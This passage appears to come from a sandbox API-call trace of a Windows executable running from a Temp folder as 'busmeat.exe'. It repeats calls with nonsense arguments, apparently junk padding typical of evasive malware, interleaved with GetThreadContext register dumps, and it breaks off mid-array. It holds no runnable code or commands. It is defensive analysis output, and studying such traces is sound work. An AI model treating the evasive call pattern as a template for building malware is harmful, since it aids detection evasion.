[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.198] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.199] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.199] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.199] GetConsoleCP () returned 0x0
	[0066.199] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.199] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.200] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.200] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.200] GetConsoleCP () returned 0x0
	[0066.200] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.200] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.201] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.201] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.201] GetConsoleCP () returned 0x0
	[0066.201] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 